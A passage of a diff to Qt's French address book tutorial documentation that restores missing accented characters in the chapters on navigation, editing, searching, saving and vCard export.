contacts. Commen mentionn plus tt, la navigation n'est - active que si il y a plus d'un contact dans le carnet d'adresses. + taille de \c contacts. Commen mentionné plus tôt, la navigation n'est + activée que si il y a plus d'un contact dans le carnet d'adresses. Les lignes suivantes montrent comment faire cela: \snippet tutorials/addressbook/part3/addressbook.cpp enabling navigation Nous incluons aussi ces lignes de code dans le bouton \c cancel(). - Souvenez vous que nous voulons muler une liste-lie ciruculaire - l'aide de l'objet QMap, \c contacts. Pour faire cela, nous obtenons un itrateur - sur \c contact dans la mthode \c next(), et ensuite: + Souvenez vous que nous voulons émuler une liste-liée ciruculaire à + l'aide de l'objet QMap, \c contacts. Pour faire cela, nous obtenons un itérateur + sur \c contact dans la méthode \c next(), et ensuite: \list - \o Si l'itrateur n'est pas la fin de \c contacts, nous l'incrmentons - \o Si l'itrateur est la fin de \c contacts, nous changeons sa position - jusqu'au dbut de \c contacts. Cela donne l'illusion que notre QMap + \o Si l'itérateur n'est pas à la fin de \c contacts, nous l'incrémentons + \o Si l'itérateur est à la fin de \c contacts, nous changeons sa position + jusqu'au début de \c contacts. Cela donne l'illusion que notre QMap fonctionne comme une liste circulaire. \endlist \snippet tutorials/addressbook/part3/addressbook.cpp next() function - Une fois que nous avons itr jusqu' l'objet recherch dans \c contacts, + Une fois que nous avons itéré jusqu'à l'objet recherché dans \c contacts, nous affichons son contenu sur \c nameLine et \c addressText. - De la mme faon, pour la mthode \c previous(), nous obtenons un - itrateur sur \c contacts et ensuite: + De la même façon, pour la méthode \c previous(), nous obtenons un + itérateur sur \c contacts et ensuite: \list - \o Si l'itrateur est la fin de \c contacts, on rinitialise + \o Si l'itérateur est à la fin de \c contacts, on réinitialise l'affichage et on retourne. - \o Si l'itrateur est au dbut de \c contacts, on change sa - position jusqu' la fin - \o Ensuite, on dcrmente l'itrateur + \o Si l'itérateur est au début de \c contacts, on change sa + position jusqu'à la fin + \o Ensuite, on décrémente l'itérateur \endlist \snippet tutorials/addressbook/part3/addressbook.cpp previous() function - nouveau, nous affichons le contenu de l'objet courant dans \c contacts. + à nouveau, nous affichons le contenu de l'objet courant dans \c contacts. */ @@ -540,27 +540,27 @@ \contentspage {Tutoriel "Carnet d'adresses"}{Sommaire} \nextpage {tutorials/addressbook-fr/part5}{Chapitre 5} \example tutorials/addressbook-fr/part4 - \title Carnet d'Adresses 4 - diter et supprimer des adresses + \title Carnet d'Adresses 4 - éditer et supprimer des adresses - Dans ce chapitre, nous verrons comment modifier les donnes des contacts + Dans ce chapitre, nous verrons comment modifier les données des contacts contenus dans l'application carnet d'adresses. \image addressbook-tutorial-screenshot.png Nous avons maintenant un carnet d'adresses qui ne se contente pas de - lister des contacts de faon ordonne, mais permet galement la - navigation. Il serait pratique d'inclure des fonctions telles qu'diter et - supprimer, afin que les dtails associs un contact puissent tre - modifis lorsque c'est ncessaire. Cependant, cela requiert une lgre - modification, sous la forme d'numrations. Au chapitre prcdent, nous avions deux - modes: \c {AddingMode} et \c {NavigationMode}, mais ils n'taient pas - dfinis en tant qu'numrations. Au lieu de a, on activait et dsactivait les + lister des contacts de façon ordonnée, mais permet également la + navigation. Il serait pratique d'inclure des fonctions telles qu'éditer et + supprimer, afin que les détails associés à un contact puissent être + modifiés lorsque c'est nécessaire. Cependant, cela requiert une légère + modification, sous la forme d'énumérations. Au chapitre précédent, nous avions deux + modes: \c {AddingMode} et \c {NavigationMode}, mais ils n'étaient pas + définis en tant qu'énumérations. Au lieu de ça, on activait et désactivait les boutons correspondants manuellement, au prix de multiples redondances dans le code. - Dans ce chapitre, on dfinit l'numration \c Mode avec trois valeurs possibles. + Dans ce chapitre, on définit l'énumération \c Mode avec trois valeurs possibles. \list \o \c{NavigationMode}, @@ -568,22 +568,22 @@ \o \c{EditingMode}. \endlist - \section1 Dfinition de la classe AddressBook + \section1 Définition de la classe AddressBook - Le fichier \c addressbook.h est mis a jour pour contenir l'numration \c Mode : + Le fichier \c addressbook.h est mis a jour pour contenir l'énumération \c Mode : \snippet tutorials/addressbook/part4/addressbook.h Mode enum - On ajoute galement deux nouveaux slots, \c editContact() et - \c removeContact(), notre liste de slots publics. + On ajoute également deux nouveaux slots, \c editContact() et + \c removeContact(), à notre liste de slots publics. \snippet tutorials/addressbook/part4/addressbook.h edit and remove slots - Afin de basculer d'un mode l'autre, on introduit la mthode - \c updateInterface() pour contrller l'activation et la dsactivation de - tous les objets QPushButton. On ajoute galement deux nouveaux boutons, - \c editButton et \c removeButton, pour les fonctions d'dition - et de suppression mentionnes plus haut. + Afin de basculer d'un mode à l'autre, on introduit la méthode + \c updateInterface() pour contrôller l'activation et la désactivation de + tous les objets QPushButton. On ajoute également deux nouveaux boutons, + \c editButton et \c removeButton, pour les fonctions d'édition + et de suppression mentionnées plus haut. \snippet tutorials/addressbook/part4/addressbook.h updateInterface() declaration \dots @@ -591,97 +591,97 @@ \dots \snippet tutorials/addressbook/part4/addressbook.h mode declaration - Enfin, on dclare \c currentMode pour garder une trace du mode - actuellement utilis. + Enfin, on déclare \c currentMode pour garder une trace du mode + actuellement utilisé. - \section1 Implmentation de la classe AddressBook + \section1 Implémentation de la classe AddressBook - Il nous faut maintenant implmenter les fonctionnalits de changement de + Il nous faut maintenant implémenter les fonctionnalités de changement de mode de l'application carnet d'adresses. Les boutons \c editButton et - \c removeButton sont instancis et dsactivs par dfaut, puisque le - carnet d'adresses dmarre sans aucun contact en mmoire. + \c removeButton sont instanciés et désactivés par défaut, puisque le + carnet d'adresses démarre sans aucun contact en mémoire. \snippet tutorials/addressbook/part4/addressbook.cpp edit and remove buttons - Ces boutons sont ensuite connects leurs slots respectifs, - \c editContact() et \c removeContact(), avant d'tre ajouts + Ces boutons sont ensuite connectés à leurs slots respectifs, + \c editContact() et \c removeContact(), avant d'être ajoutés à \c buttonLayout1. \snippet tutorials/addressbook/part4/addressbook.cpp connecting edit and remove \dots \snippet tutorials/addressbook/part4/addressbook.cpp adding edit and remove to the layout - La methode \c editContact() place les anciens dtails du contact dans + La methode \c editContact() place les anciens détails du contact dans \c oldName et \c oldAddress, avant de basculer vers le mode \c EditingMode. Dans ce mode, les boutons \c submitButton et - \c cancelButton sont tous deux activs, l'utilisateur peut par consquent - modifier les dtails du contact et cliquer sur l'un de ces deux boutons + \c cancelButton sont tous deux activés, l'utilisateur peut par conséquent + modifier les détails du contact et cliquer sur l'un de ces deux boutons par la suite. \snippet tutorials/addressbook/part4/addressbook.cpp editContact() function - La mthode \c submitContact() a t divise en deux avec un bloc + La méthode \c submitContact() a été divisée en deux avec un bloc \c{if-else}. On teste \c currentMode pour voir si le mode courant est - \c AddingMode. Si c'est le cas, on procde l'ajout. + \c AddingMode. Si c'est le cas, on procède à l'ajout. \snippet tutorials/addressbook/part4/addressbook.cpp submitContact() function beginning \dots \snippet tutorials/addressbook/part4/addressbook.cpp submitContact() function part1 Sinon, on s'assure que \c currentMode est en \c EditingMode. Si c'est le - cas, on compare \c oldName et \c name. Si le nom a chang, on supprime - l'ancien contact de \c contacts et on insre le contact mis a jour. + cas, on compare \c oldName et \c name. Si le nom a changé, on supprime + l'ancien contact de \c contacts et on insère le contact mis a jour. \snippet tutorials/addressbook/part4/addressbook.cpp submitContact() function part2 - Si seule l'adresse a chang (i.e. \c oldAddress n'est pas identique - \c address), on met jour l'adresse du contact. Enfin on rgle - \c currentMode \c NavigationMode. C'est une tape importante puisque - c'est cela qui ractive tous les boutons dsactivs. + Si seule l'adresse a changé (i.e. \c oldAddress n'est pas identique à + \c address), on met à jour l'adresse du contact. Enfin on règle + \c currentMode à \c NavigationMode. C'est une étape importante puisque + c'est cela qui réactive tous les boutons désactivés. - Afin de retirer un contact du carnet d'adresses, on implmente la mthode - \c removeContact(). Cette mthode vrifie que le contact est prsent dans + Afin de retirer un contact du carnet d'adresses, on implémente la méthode + \c removeContact(). Cette méthode vérifie que le contact est présent dans \c contacts. \snippet tutorials/addressbook/part4/addressbook.cpp removeContact() function - Si c'est le cas, on affiche une bote de dialogue QMessageBox, demandant - confirmation de la suppression l'utilisateur. Une fois la confirmation - effectue, on appelle \c previous(), afin de s'assurer que l'interface - utilisateur affiche une autre entre, et on supprime le contact en - utilisant le mthode \l{QMap::remove()}{remove()} de \l{QMap}. Dans un + Si c'est le cas, on affiche une boîte de dialogue QMessageBox, demandant + confirmation de la suppression à l'utilisateur. Une fois la confirmation + effectuée, on appelle \c previous(), afin de s'assurer que l'interface + utilisateur affiche une autre entrée, et on supprime le contact en + utilisant le méthode \l{QMap::remove()}{remove()} de \l{QMap}. Dans un souci pratique, on informe l'utilisateur de la suppression par le biais - d'une autre QMessageBox. Les deux botes de dialogue utilises dans cette - mthode sont reprsentes ci-dessous. + d'une autre QMessageBox. Les deux boîtes de dialogue utilisées dans cette + méthode sont représentées ci-dessous. \image addressbook-tutorial-part4-remove.png - \section2 Mise jour de l'Interface utilisateur + \section2 Mise à jour de l'Interface utilisateur - On a voqu plus haut la mthode \c updateInterface() comme moyen - d'activer et de dsactiver les diffrents boutons de l'interface en - fonction du mode. Cette mthode met jour le mode courant selon - l'argument \c mode qui lui est pass, en l'assignant \c currentMode, + On a évoqué plus haut la méthode \c updateInterface() comme moyen + d'activer et de désactiver les différents boutons de l'interface en + fonction du mode. Cette méthode met à jour le mode courant selon + l'argument \c mode qui lui est passé, en l'assignant à \c currentMode, avant de tester sa valeur. - Chacun des boutons est ensuite activ ou dsactiv, en fonction du mode. + Chacun des boutons est ensuite activé ou désactivé, en fonction du mode. Le code source pour les cas \c AddingMode et \c EditingMode est visible ci-dessous: \snippet tutorials/addressbook/part4/addressbook.cpp update interface() part 1 Dans le cas de \c NavigationMode, en revanche, des tests conditionnels - sont passs en paramtre de QPushButton::setEnabled(). Ceci permet de - s'assurer que les boutons \c editButton et \c removeButton ne sont activs + sont passés en paramètre de QPushButton::setEnabled(). Ceci permet de + s'assurer que les boutons \c editButton et \c removeButton ne sont activés que s'il existe au moins un contact dans le carnet d'adresses; - \c nextButton et \c previousButton ne sont activs que lorsqu'il existe + \c nextButton et \c previousButton ne sont activés que lorsqu'il existe plus d'un contact dans le carnet d'adresses. \snippet tutorials/addressbook/part4/addressbook.cpp update interface() part 2 - En effectuant les oprations de rglage du mode et de mise jour de - l'interface utilisateur au sein de la mme mthode, on est l'abri de - l'ventualit o l'interface utilisateur se "dsynchronise" de l'tat + En effectuant les opérations de réglage du mode et de mise à jour de + l'interface utilisateur au sein de la même méthode, on est à l'abri de + l'éventualité où l'interface utilisateur se "désynchronise" de l'état interne de l'application. */ @@ -694,7 +694,7 @@ \example tutorials/addressbook-fr/part5 \title Carnet d'adresse 5 - Ajout d'une fonction de recherche - Dans ce chapitre, nous allons voir les possibilits pour rechercher + Dans ce chapitre, nous allons voir les possibilités pour rechercher des contacts dans le carnet d'adresse. \image addressbook-tutorial-part5-screenshot.png @@ -703,110 +703,110 @@ il devient difficile de naviguer avec les boutons \e Next et \e Previous. Dans ce cas, une fonction de recherche serait plus efficace pour rechercher les contacts. - La capture d'cran ci-dessus montre le bouton de recherche \e Find et sa position + La capture d'écran ci-dessus montre le bouton de recherche \e Find et sa position dans le paneau de bouton. Lorsque l'utilisateur clique sur le bouton \e Find, il est courant d'afficher - une bote de dialogue qui demande l'utilisateur d'entrer un nom de contact. + une boîte de dialogue qui demande à l'utilisateur d'entrer un nom de contact. Qt fournit la classe QDialog, que nous sous-classons dans ce chapitre pour - implmenter la class \c FindDialog. + implémenter la class \c FindDialog. - \section1 Dfinition de la classe FindDialog + \section1 Définition de la classe FindDialog \image addressbook-tutorial-part5-finddialog.png - Pour sous-classer QDialog, nous commenons par inclure le header de - QDialog dans le fichier \c finddialog.h. De plus, nous dclarons les + Pour sous-classer QDialog, nous commençons par inclure le header de + QDialog dans le fichier \c finddialog.h. De plus, nous déclarons les classes QLineEdit et QPushButton car nous utilisons ces widgets dans notre classe dialogue. Tout comme dans la classe \c AddressBook, la classe \c FindDialog utilise - la macro Q_OBJECT et son constructeur est dfini de faon accepter - un QWidget parent, mme si cette bote de dialogue sera affiche dans une - fentre spare. + la macro Q_OBJECT et son constructeur est défini de façon à accepter + un QWidget parent, même si cette boîte de dialogue sera affichée dans une + fenêtre séparée. \snippet tutorials/addressbook/part5/finddialog.h FindDialog header - Nous dfinissons la mthode publique \c getFindText() pour tre utilise + Nous définissons la méthode publique \c getFindText() pour être utilisée par les classes qui instancient \c FindDialog, ce qui leur permet d'obtenir - le texte entr par l'utilisateur. Un slot public, \c findClicked(), est - dfini pour prendre en charge le texte lorsque l'utilisateur clique sur + le texte entré par l'utilisateur. Un slot public, \c findClicked(), est + défini pour prendre en charge le texte lorsque l'utilisateur clique sur le bouton \gui Find. - Finalement, nous dfinissons les variables prives \c findButton, + Finalement, nous définissons les variables privées \c findButton, \c lineEdit et \c findText, qui correspondent respectivement au bouton \gui Find, au champ de texte dans lequel l'utilisateur tape le texte - rechercher, et une variable interne stockant le texte pour une - utilisation ultrieure. + à rechercher, et à une variable interne stockant le texte pour une + utilisation ultérieure. - \section1 Implmentation de la classe FindDialog + \section1 Implémentation de la classe FindDialog Dans le constructeur de \c FindDialog, nous instancions les objets des - variables prives \c lineEdit, \c findButton et \c findText. Nous utilisons ensuite + variables privées \c lineEdit, \c findButton et \c findText. Nous utilisons ensuite un QHBoxLayout pour positionner les widgets. \snippet tutorials/addressbook/part5/finddialog.cpp constructor - Nous mettons en place la mise en page et le titre de la fentre, et + Nous mettons en place la mise en page et le titre de la fenêtre, et nous connectons les signaux aux slots. Remarquez que le signal - \l{QPushButton::clicked()}{clicked()} de \c{findButton} est connect - \c findClicked() et \l{QDialog::accept()}{accept()}. Le slot + \l{QPushButton::clicked()}{clicked()} de \c{findButton} est connecté + à \c findClicked() et \l{QDialog::accept()}{accept()}. Le slot \l{QDialog::accept()}{accept()} fourni par le QDialog ferme - la bote de dialogue et lui donne le code de retour \l{QDialog::}{Accepted}. - Nous utilisons cette fonction pour aider la mthode \c findContact() de la classe - \c{AddressBook} savoir si l'objet \c FindDialog a t ferm. Ceci sera - expliqu plus loin lorsque nous verrons la mthode \c findContact(). + la boîte de dialogue et lui donne le code de retour \l{QDialog::}{Accepted}. + Nous utilisons cette fonction pour aider la méthode \c findContact() de la classe + \c{AddressBook} à savoir si l'objet \c FindDialog a été fermé. Ceci sera + expliqué plus loin lorsque nous verrons la méthode \c findContact(). \image addressbook-tutorial-part5-signals-and-slots.png Dans \c findClicked(), nous validons le champ de texte pour nous - assurer que l'utilisateur n'a pas cliqu sur le bouton \gui Find sans - avoir entr un nom de contact. Ensuite, nous stockons le texte du champ - d'entre \c lineEdit dans \c findText. Et finalement nous vidons le - contenu de \c lineEdit et cachons la bote de dialogue. + assurer que l'utilisateur n'a pas cliqué sur le bouton \gui Find sans + avoir entré un nom de contact. Ensuite, nous stockons le texte du champ + d'entrée \c lineEdit dans \c findText. Et finalement nous vidons le + contenu de \c lineEdit et cachons la boîte de dialogue. \snippet tutorials/addressbook/part5/finddialog.cpp findClicked() function - La variable \c findText a un accesseur publique associ: \c getFindText(). - tant donn que nous ne modifions \c findText directement que dans le - constructeur et la mthode \c findClicked(), nous ne crons pas - de manipulateurs associ \c getFindText(). + La variable \c findText a un accesseur publique associé: \c getFindText(). + Étant donné que nous ne modifions \c findText directement que dans le + constructeur et la méthode \c findClicked(), nous ne créons pas + de manipulateurs associé à \c getFindText(). Puisque \c getFindText() est publique, les classes instanciant et - utilisant \c FindDialog peuvent toujours accder la chane de - caractres que l'utilisateur a entr et accept. + utilisant \c FindDialog peuvent toujours accéder à la chaîne de + caractères que l'utilisateur a entré et accepté. \snippet tutorials/addressbook/part5/finddialog.cpp getFindText() function - \section1 Dfinition de la classe AddressBook + \section1 Définition de la classe AddressBook Pour utiliser \c FindDialog depuis la classe \c AddressBook, nous incluons \c finddialog.h dans le fichier \c addressbook.h. \snippet tutorials/addressbook/part5/addressbook.h include finddialog's header - Jusqu'ici, toutes les fonctionnalits du carnet d'adresses ont un - QPushButton et un slot correspondant. De la mme faon, pour la - fonctionnalit \gui Find, nous avons \c findButton et \c findContact(). + Jusqu'ici, toutes les fonctionnalités du carnet d'adresses ont un + QPushButton et un slot correspondant. De la même façon, pour la + fonctionnalité \gui Find, nous avons \c findButton et \c findContact(). - Le \c findButton est dclar comme une variable prive et la - mthode \c findContact() est dclare comme un slot public. + Le \c findButton est déclaré comme une variable privée et la + méthode \c findContact() est déclarée comme un slot public. \snippet tutorials/addressbook/part5/addressbook.h findContact() declaration \dots \snippet tutorials/addressbook/part5/addressbook.h findButton declaration - Finalement, nous dclarons la variable prive \c dialog que nous allons - utiliser pour accder une instance de \c FindDialog. + Finalement, nous déclarons la variable privée \c dialog que nous allons + utiliser pour accéder à une instance de \c FindDialog. \snippet tutorials/addressbook/part5/addressbook.h FindDialog declaration - Une fois que nous avons instanci la bote de dialogue, nous voulons l'utiliser - plus qu'une fois. Utiliser une variable prive nous permet d'y rfrer - plus d'un endroit dans la classe. + Une fois que nous avons instancié la boîte de dialogue, nous voulons l'utiliser + plus qu'une fois. Utiliser une variable privée nous permet d'y référer + à plus d'un endroit dans la classe. - \section1 Implmentation de la classe AddressBook + \section1 Implémentation de la classe AddressBook - Dans le constructeur de \c AddressBook, nous instancions nos objets privs, + Dans le constructeur de \c AddressBook, nous instancions nos objets privés, \c findbutton et \c findDialog: \snippet tutorials/addressbook/part5/addressbook.cpp instantiating findButton @@ -814,25 +814,25 @@ \snippet tutorials/addressbook/part5/addressbook.cpp instantiating FindDialog Ensuite, nous connectons le signal \l{QPushButton::clicked()}{clicked()} de - \c{findButton} \c findContact(). + \c{findButton} à \c findContact(). \snippet tutorials/addressbook/part5/addressbook.cpp signals and slots for find - Maintenant, tout ce qui manque est le code de notre mthode \c findContact(): + Maintenant, tout ce qui manque est le code de notre méthode \c findContact(): \snippet tutorials/addressbook/part5/addressbook.cpp findContact() function - Nous commenons par afficher l'instance de \c FindDialog, \c dialog. - L'utilisateur peut alors entrer le nom du contact rechercher. Lorsque - l'utilisateur clique sur le bouton \c findButton, la bote de dialogue est - masque et le code de retour devient QDialog::Accepted. Ce code de retour + Nous commençons par afficher l'instance de \c FindDialog, \c dialog. + L'utilisateur peut alors entrer le nom du contact à rechercher. Lorsque + l'utilisateur clique sur le bouton \c findButton, la boîte de dialogue est + masquée et le code de retour devient QDialog::Accepted. Ce code de retour vient remplir la condition du premier if. Ensuite, nous extrayons le texte que nous utiliserons pour la recherche, - il s'agit ici de \c contactName obtenu l'aide de la mthode \c getFindText() + il s'agit ici de \c contactName obtenu à l'aide de la méthode \c getFindText() de \c FindDialog. Si le contact existe dans le carnet d'adresse, nous l'affichons directement. Sinon, nous affichons le QMessageBox suivant pour - indiquer que la recherche choue. + indiquer que la recherche à échouée. \image addressbook-tutorial-part5-notfound.png */ @@ -845,49 +845,49 @@ \example tutorials/addressbook-fr/part6 \title Carnet d'Adresses 6 - Sauvegarde et chargement - Ce chapitre couvre les fonctionnalits de gestion des fichiers de Qt que - l'on utilise pour crire les procdures de sauvegarde et chargement pour + Ce chapitre couvre les fonctionnalités de gestion des fichiers de Qt que + l'on utilise pour écrire les procédures de sauvegarde et chargement pour l'application carnet d'adresses. \image addressbook-tutorial-part6-screenshot.png Bien que la navigation et la recherche de contacts soient des - fonctionnalits importantes, notre carnet d'adresses ne sera pleinement + fonctionnalités importantes, notre carnet d'adresses ne sera pleinement utilisable qu'une fois que l'on pourra sauvegarder les contacts existants - et les charger nouveau par la suite. - Qt fournit de nombreuses classes pour grer les \l{Input/Output and - Networking}{entres et sorties}, mais nous avons choisi de nous contenter d'une - combinaison de deux classes simples utiliser ensemble: QFile et QDataStream. + et les charger à nouveau par la suite. + Qt fournit de nombreuses classes pour gérer les \l{Input/Output and + Networking}{entrées et sorties}, mais nous avons choisi de nous contenter d'une + combinaison de deux classes simples à utiliser ensemble: QFile et QDataStream. - Un objet QFile reprsente un fichier sur le disque qui peut tre lu, et - dans lequel on peut crire. QFile est une classe fille de la classe plus - gnrique QIODevice, qui peut reprsenter diffrents types de - priphriques. + Un objet QFile représente un fichier sur le disque qui peut être lu, et + dans lequel on peut écrire. QFile est une classe fille de la classe plus + générique QIODevice, qui peut représenter différents types de + périphériques. - Un objet QDataStream est utilis pour srialiser des donnes binaires - dans le but de les passer un QIODevice pour les rcuprer dans le - futur. Pour lire ou crire dans un QIODevice, il suffit d'ouvrir le - flux, avec le priphrique appropri en paramtre, et d'y lire ou - crire. + Un objet QDataStream est utilisé pour sérialiser des données binaires + dans le but de les passer à un QIODevice pour les récupérer dans le + futur. Pour lire ou écrire dans un QIODevice, il suffit d'ouvrir le + flux, avec le périphérique approprié en paramètre, et d'y lire ou + écrire. - \section1 Dfinition de la classe AddressBook + \section1 Définition de la classe AddressBook - On dclare deux slots publics, \c saveToFile() et \c loadFromFile(), + On déclare deux slots publics, \c saveToFile() et \c loadFromFile(), ainsi que deux objets QPushButton, \c loadButton et \c saveButton. \snippet tutorials/addressbook/part6/addressbook.h save and load functions declaration \dots \snippet tutorials/addressbook/part6/addressbook.h save and load buttons declaration - \section1 Implmentation de la classe AddressBook + \section1 Implémentation de la classe AddressBook Dans notre constructeur, on instancie \c loadButton et \c saveButton. - Idalement, l'interface serait plus conviviale avec des boutons + Idéalement, l'interface serait plus conviviale avec des boutons affichant "Load contacts from a file" et "Save contacts to a file". Mais compte tenu de la dimension des autres boutons, on initialise les labels - des boutons \gui{Load...} et \gui{Save...}. Heureusement, Qt offre une - faon simple d'ajouter des info-bulles avec - \l{QWidget::setToolTip()}{setToolTip()}, et nous l'exploitons de la faon + des boutons à \gui{Load...} et \gui{Save...}. Heureusement, Qt offre une + façon simple d'ajouter des info-bulles avec + \l{QWidget::setToolTip()}{setToolTip()}, et nous l'exploitons de la façon suivante pour nos boutons: \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 1 @@ -895,85 +895,85 @@ \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2 Bien qu'on ne cite pas le code correspondant ici, nous ajoutons ces deux boutons au - layout de droite, \c button1Layout, comme pour les fonctionnalits prcdentes, et + layout de droite, \c button1Layout, comme pour les fonctionnalités précédentes, et nous connectons leurs signaux - \l{QPushButton::clicked()}{clicked()} leurs slots respectifs. + \l{QPushButton::clicked()}{clicked()} à leurs slots respectifs. - Pour la sauvegarde, on commence par rcuprer le nom de fichier + Pour la sauvegarde, on commence par récupérer le nom de fichier \c fileName, en utilisant QFileDialog::getSaveFileName(). C'est une - mthode pratique fournie par QFileDialog, qui ouvre une bote de - dialogue modale et permet l'utilisateur d'entrer un nom de fichier ou + méthode pratique fournie par QFileDialog, qui ouvre une boîte de + dialogue modale et permet à l'utilisateur d'entrer un nom de fichier ou de choisir un fichier \c{.abk} existant. Les fichiers \c{.abk} - correspondent l'extension choisie pour la sauvegarde des contacts de + correspondent à l'extension choisie pour la sauvegarde des contacts de notre carnet d'adresses. \snippet tutorials/addressbook/part6/addressbook.cpp saveToFile() function part1 - La bote de dialogue affiche est visible sur la capture d'cran ci- + La boîte de dialogue affichée est visible sur la capture d'écran ci- dessous. \image addressbook-tutorial-part6-save.png - Si \c fileName n'est pas vide, on cre un objet QFile, \c file, partir - de \c fileName. QFile fonctionne avec QDataStream puisqu'il drive de + Si \c fileName n'est pas vide, on crée un objet QFile, \c file, à partir + de \c fileName. QFile fonctionne avec QDataStream puisqu'il dérive de QIODevice. - Ensuite, on essaie d'ouvrir le fichier en criture, ce qui correspond au - mode \l{QIODevice::}{WriteOnly}. Si cela choue, on en informe + Ensuite, on essaie d'ouvrir le fichier en écriture, ce qui correspond au + mode \l{QIODevice::}{WriteOnly}. Si cela échoue, on en informe l'utilisateur avec une QMessageBox. \snippet tutorials/addressbook/part6/addressbook.cpp saveToFile() function part2 Dans le cas contraire, on instancie un objet QDataStream, \c out, afin - d'crire dans le fichier ouvert. QDataStream ncessite que la mme - version de flux soit utilise pour la lecture et l'criture. On s'assure - que c'est le cas en spcifiant explicitement d'utiliser la + d'écrire dans le fichier ouvert. QDataStream nécessite que la même + version de flux soit utilisée pour la lecture et l'écriture. On s'assure + que c'est le cas en spécifiant explicitement d'utiliser la \l{QDataStream::Qt_4_5}{version introduite avec Qt 4.5} avant de - srialiser les donnes vers le fichier \c file. + sérialiser les données vers le fichier \c file. \snippet tutorials/addressbook/part6/addressbook.cpp saveToFile() function part3 - Pour le chargement, on rcupre galement \c fileName en utilisant - QFileDialog::getOpenFileName(). Cette mthode est l'homologue de - QFileDialog::getSaveFileName() et affiche galement une bote de - dialogue modale permettant l'utilisateur d'entrer un nom de fichier ou + Pour le chargement, on récupère également \c fileName en utilisant + QFileDialog::getOpenFileName(). Cette méthode est l'homologue de + QFileDialog::getSaveFileName() et affiche également une boîte de + dialogue modale permettant à l'utilisateur d'entrer un nom de fichier ou de selectionner un fichier \c{.abk} existant, afin de le charger dans le carnet d'adresses. \snippet tutorials/addressbook/part6/addressbook.cpp loadFromFile() function part1 - Sous Windows, par exemple, cette mthode affiche une bote de dialogue - native pour la slection de fichier, comme illustr sur la capture - d'cran suivante: + Sous Windows, par exemple, cette méthode affiche une boîte de dialogue + native pour la sélection de fichier, comme illustré sur la capture + d'écran suivante: \image addressbook-tutorial-part6-load.png Si \c fileName n'est pas vide, on utilise une fois de plus un objet QFile, \c file, et on tente de l'ouvrir en lecture, avec le mode - \l{QIODevice::}{ReadOnly}. De mme que prcdemment dans notre - implmentation de \c saveToFile(), si cette tentative s'avre + \l{QIODevice::}{ReadOnly}. De même que précédemment dans notre + implémentation de \c saveToFile(), si cette tentative s'avère infructueuse, on en informe l'utilisateur par le biais d'une QMessageBox. \snippet tutorials/addressbook/part6/addressbook.cpp loadFromFile() function part2 Dans le cas contraire, on instancie un objet QDataStream, \c in, en - spcifiant la version utiliser comme prcdemment, et on lit les - informations srialises vers la structure de donnes \c contacts. Notez + spécifiant la version à utiliser comme précédemment, et on lit les + informations sérialisées vers la structure de données \c contacts. Notez qu'on purge \c contacts avant d'y mettre les informations lues afin de - simplifier le processus de lecture de fichier. Une faon plus avance de - procder serait de lire les contacts dans un objet QMap temporaire, et + simplifier le processus de lecture de fichier. Une façon plus avancée de + procéder serait de lire les contacts dans un objet QMap temporaire, et de copier uniquement les contacts n'existant pas encore dans \c contacts. \snippet tutorials/addressbook/part6/addressbook.cpp loadFromFile() function part3 Pour afficher les contacts lus depuis le fichier, on doit d'abord - valider les donnes obtenues afin de s'assurer que le fichier lu - contient effectivement des entres de carnet d'adresses. Si c'est le + valider les données obtenues afin de s'assurer que le fichier lu + contient effectivement des entrées de carnet d'adresses. Si c'est le cas, on affiche le premier contact; sinon on informe l'utilisateur du - problme par une QMessageBox. Enfin, on met jour l'interface afin - d'activer et de dsactiver les boutons de faon approprie. + problème par une QMessageBox. Enfin, on met à jour l'interface afin + d'activer et de désactiver les boutons de façon appropriée. */ /*! @@ -981,86 +981,86 @@ \previouspage {tutorials/addressbook-fr/part6}{Chapitre 6} \contentspage {Tutoriel "Carnet d'adresses"}{Sommaire} \example tutorials/addressbook-fr/part7 - \title Carnet d'adresse 7 - Fonctionnalits avances + \title Carnet d'adresse 7 - Fonctionnalités avancées - Ce chapitre couvre quelques fonctionnalits additionnelles qui + Ce chapitre couvre quelques fonctionnalités additionnelles qui feront de notre carnet d'adresses une application plus pratique pour une utilisation quotidienne. \image addressbook-tutorial-part7-screenshot.png Bien que notre application carnet d'adresses soit utile en tant que telle, - il serait pratique de pouvoir changer les contacts avec d'autres applications. - Le format vCard est un un format de fichier populaire pour changer - ce type de donnes. - Dans ce chapitre, nous tendrons notre carnet d'adresses pour permettre + il serait pratique de pouvoir échanger les contacts avec d'autres applications. + Le format vCard est un un format de fichier populaire pour échanger + ce type de données. + Dans ce chapitre, nous étendrons notre carnet d'adresses pour permettre d'exporter des contacts dans des fichiers vCard \c{.vcf}. - \section1 Dfinition de la classe AddressBook + \section1 Définition de la classe AddressBook Nous ajoutons un objet QPushButton, \c exportButton, et un slot - public correspondant, \c exportAsVCard(), notre classe \c AddressBook + public correspondant, \c exportAsVCard(), à notre classe \c AddressBook dans le fichier \c addressbook.h. \snippet tutorials/addressbook/part7/addressbook.h exportAsVCard() declaration \dots \snippet tutorials/addressbook/part7/addressbook.h exportButton declaration - \section1 Implmentation de la classe AddressBook + \section1 Implémentation de la classe AddressBook Dans le constructeur de \c AddressBook, nous connectons le signal \l{QPushButton::clicked()}{clicked()} de \c{exportButton} au slot \c exportAsVCard(). - Nous ajoutons aussi ce bouton \c buttonLayout1, le layout responsable + Nous ajoutons aussi ce bouton à \c buttonLayout1, le layout responsable du groupe de boutons sur la droite. - Dans la mthode \c exportAsVCard(), nous commenons par extraire le - nom du contact dans \n name. Nous dclarons \c firstname, \c lastName et + Dans la méthode \c exportAsVCard(), nous commençons par extraire le + nom du contact dans \n name. Nous déclarons \c firstname, \c lastName et \c nameList. Ensuite, nous cherchons la position du premier espace blanc de \c name. - Si il y a un espace, nous sparons le nom du contact en \c firstName et - \c lastName. Finalement, nous remplaons l'espace par un underscore ("_"). + Si il y a un espace, nous séparons le nom du contact en \c firstName et + \c lastName. Finalement, nous remplaçons l'espace par un underscore ("_"). Si il n'y a pas d'espace, nous supposons que le contact ne comprend que - le prnom. + le prénom. \snippet tutorials/addressbook/part7/addressbook.cpp export function part1 - Comme pour la mthode \c saveToFile(), nous ouvrons une bote de dialogue - pour donner la possibilit l'utilisateur de choisir un emplacement pour - le fichier. Avec le nom de fichier choisi, nous crons une instance de QFile - pour y crire. + Comme pour la méthode \c saveToFile(), nous ouvrons une boîte de dialogue + pour donner la possibilité à l'utilisateur de choisir un emplacement pour + le fichier. Avec le nom de fichier choisi, nous créons une instance de QFile + pour y écrire. Nous essayons d'ouvrir le fichier en 